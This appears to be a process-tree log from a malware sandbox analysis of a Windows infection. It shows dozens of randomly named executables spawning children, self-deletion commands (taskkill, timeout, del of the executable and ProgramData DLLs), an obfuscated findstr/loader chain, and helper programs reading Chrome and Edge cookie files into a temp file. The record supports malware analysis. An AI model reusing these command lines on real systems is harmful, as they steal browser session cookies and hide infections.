                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\UlMljfMOXiNVVA6Zdr3Gkn62.exe
                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\UlMljfMOXiNVVA6Zdr3Gkn62.exe"
                                                                                                                                                                                                                                                                                                                                                                  21⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:8752
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp
                                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:9808
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          cmd
                                                                                                                                                                                                                                                                                                                                                                          23⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:9760
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\findstr.exe
                                                                                                                                                                                                                                                                                                                                                                              findstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp
                                                                                                                                                                                                                                                                                                                                                                              24⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:8252
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.003\Acre.exe.com
                                                                                                                                                                                                                                                                                                                                                                                Acre.exe.com k
                                                                                                                                                                                                                                                                                                                                                                                24⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:9572
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                                                                                                                                  ping 127.0.0.1 -n 30
                                                                                                                                                                                                                                                                                                                                                                                  24⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Runs ping.exe
                                                                                                                                                                                                                                                                                                                                                                                  PID:10280
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\RVDQdLwWW32B2xpt6jQ5KKSP.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\RVDQdLwWW32B2xpt6jQ5KKSP.exe"
                                                                                                                                                                                                                                                                                                                                                                            21⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:9188
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\RVDQdLwWW32B2xpt6jQ5KKSP.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\RVDQdLwWW32B2xpt6jQ5KKSP.exe
                                                                                                                                                                                                                                                                                                                                                                                22⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:6644
                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe
                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe"
                                                                                                                                                                                                                                                                                                                                                                                21⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:9184
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe
                                                                                                                                                                                                                                                                                                                                                                                    22⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:8352
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c taskkill /im LR4VKYzt1BHrUMF9Z3oMnd25.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                        23⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:10492
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                            taskkill /im LR4VKYzt1BHrUMF9Z3oMnd25.exe /f
                                                                                                                                                                                                                                                                                                                                                                                            24⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                            PID:10764
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\Documents\LR4VKYzt1BHrUMF9Z3oMnd25.exe
                                                                                                                                                                                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:9612
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\IGHDaGAaZZV9Si3aZ8sV8t74.exe
                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\IGHDaGAaZZV9Si3aZ8sV8t74.exe"
                                                                                                                                                                                                                                                                                                                                                                                        21⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:8220
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe"
                                                                                                                                                                                                                                                                                                                                                                                          21⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:9148
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                              22⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:10092
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                                22⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:8272
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\SSNvbhNwysk0l3_G3KgXPEKd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:9896
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\wsV2a6VmXek8AjB87Ab98qnK.exe
                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\wsV2a6VmXek8AjB87Ab98qnK.exe"
                                                                                                                                                                                                                                                                                                                                                                                                  21⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:8896
                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\wsV2a6VmXek8AjB87Ab98qnK.exe
                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\Documents\wsV2a6VmXek8AjB87Ab98qnK.exe
                                                                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                                                                        PID:10196
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im wsV2a6VmXek8AjB87Ab98qnK.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\wsV2a6VmXek8AjB87Ab98qnK.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                                          23⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:10552
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                              taskkill /im wsV2a6VmXek8AjB87Ab98qnK.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                              24⤵
                                                                                                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                              PID:10796
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\f0QOILl7upq3e9E3XKlkQY3V.exe
                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\f0QOILl7upq3e9E3XKlkQY3V.exe"
                                                                                                                                                                                                                                                                                                                                                                                                        21⤵
                                                                                                                                                                                                                                                                                                                                                                                                          PID:9152
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe"
                                                                                                                                                                                                                                                                                                                                                                                                          21⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:7812
                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                              22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                PID:8716
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9832
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\6JCYe8oAc8gh5_H5oKtOBbIN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7620
                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\EUzzzsyQ27Wx18CcWNPliHw_.exe
                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\EUzzzsyQ27Wx18CcWNPliHw_.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                  21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                    PID:9080
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5944
                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11204
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                          22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10916
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6400
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\hT4RZOjghJ9Qk10P9Lpa3sd1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\hT4RZOjghJ9Qk10P9Lpa3sd1.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                            21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:8256
                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\ilb5PA0U3t7uVQ5_BTokmZ31.exe
                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\ilb5PA0U3t7uVQ5_BTokmZ31.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8928
                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\2776140.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\2776140.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10216
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\7600353.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\7600353.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:9416
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\Rv9tUMHCkcvwpyJexjeJy7JN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\Rv9tUMHCkcvwpyJexjeJy7JN.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                    21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8376
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\Rv9tUMHCkcvwpyJexjeJy7JN.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\Rv9tUMHCkcvwpyJexjeJy7JN.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:9672
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\Oh5egqwbQb93NHHaRN7p3YAu.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\Oh5egqwbQb93NHHaRN7p3YAu.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                        21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:8504
                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\1234.exe 1234
                                                                                                                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:9796
                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                "{path}"
                                                                                                                                                                                                                                                                                                                                                                                                                                                23⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:12092
                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\iVWtg3kXokFznWZUkLNfHGU8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\iVWtg3kXokFznWZUkLNfHGU8.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                              21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:9224
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\iVWtg3kXokFznWZUkLNfHGU8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\Documents\iVWtg3kXokFznWZUkLNfHGU8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:7080
                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Documents\PZmLD4Wisn1VWU2042LlW_Cj.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\PZmLD4Wisn1VWU2042LlW_Cj.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                  21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:9272
                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\rOjWhpXrGyM4467OpkxEcYaY.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\rOjWhpXrGyM4467OpkxEcYaY.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                    21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:8972
                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\r7T03xpAzVB_hOkwb1Pb9BOW.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\r7T03xpAzVB_hOkwb1Pb9BOW.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                      21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:8492
                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\Documents\r7XZTonSLfilSeY5YhCYOlP3.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\Documents\r7XZTonSLfilSeY5YhCYOlP3.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                        21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:7772
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im r7XZTonSLfilSeY5YhCYOlP3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\r7XZTonSLfilSeY5YhCYOlP3.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                                                                                                                                                                                                            22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:7932
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                taskkill /im r7XZTonSLfilSeY5YhCYOlP3.exe /f
                                                                                                                                                                                                                                                                                                                                                                                                                                                                23⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:10040
                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\Documents\ndFCKTGTQN3RSL3RW9uA5Ekp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\Users\Admin\Documents\ndFCKTGTQN3RSL3RW9uA5Ekp.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                            21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:9420
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\ndFCKTGTQN3RSL3RW9uA5Ekp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\Documents\ndFCKTGTQN3RSL3RW9uA5Ekp.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9336
                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\lcNnzhHN5HasHsq9m8OKYBhd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\lcNnzhHN5HasHsq9m8OKYBhd.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:9508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\2025667.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\2025667.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:9368
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\8324410.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\8324410.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:10000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\Documents\Cbye4FRyfv2ZcziZq8p9xmM1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\Documents\Cbye4FRyfv2ZcziZq8p9xmM1.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:9552
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\Cbye4FRyfv2ZcziZq8p9xmM1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\Cbye4FRyfv2ZcziZq8p9xmM1.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:8512
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\Documents\AK36odKELOnURjsZOg7GKJiZ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\Users\Admin\Documents\AK36odKELOnURjsZOg7GKJiZ.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                          21⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:9660
                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                              22⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8656
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS0D163037\setup_install.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zS0D163037\setup_install.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  23⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:10172
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      24⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:9356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zS0D163037\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          25⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:10000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zS0D163037\karotima_2.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zS0D163037\karotima_2.exe" -a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:8260
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            24⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:6128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zS0D163037\karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                karotima_1.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                25⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:4600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\IHA7HjxExTJubd9sK_vCNp15.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\IHA7HjxExTJubd9sK_vCNp15.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:10364
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:11008
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\11111.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:7912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:10988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\22222.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:11604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\Documents\YpROjZmKJeReZdEV5dTjkDzQ.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\Documents\YpROjZmKJeReZdEV5dTjkDzQ.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:10356
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Documents\HWHoiuBMIV8zMfrJvv_2KzQ8.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\Documents\HWHoiuBMIV8zMfrJvv_2KzQ8.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:10452
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\1234.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\1234.exe 1234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    27⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:7844
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\Documents\KUmsfqiZkSzRXHCdCtwKZg_p.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\Documents\KUmsfqiZkSzRXHCdCtwKZg_p.exe"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    26⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:11220
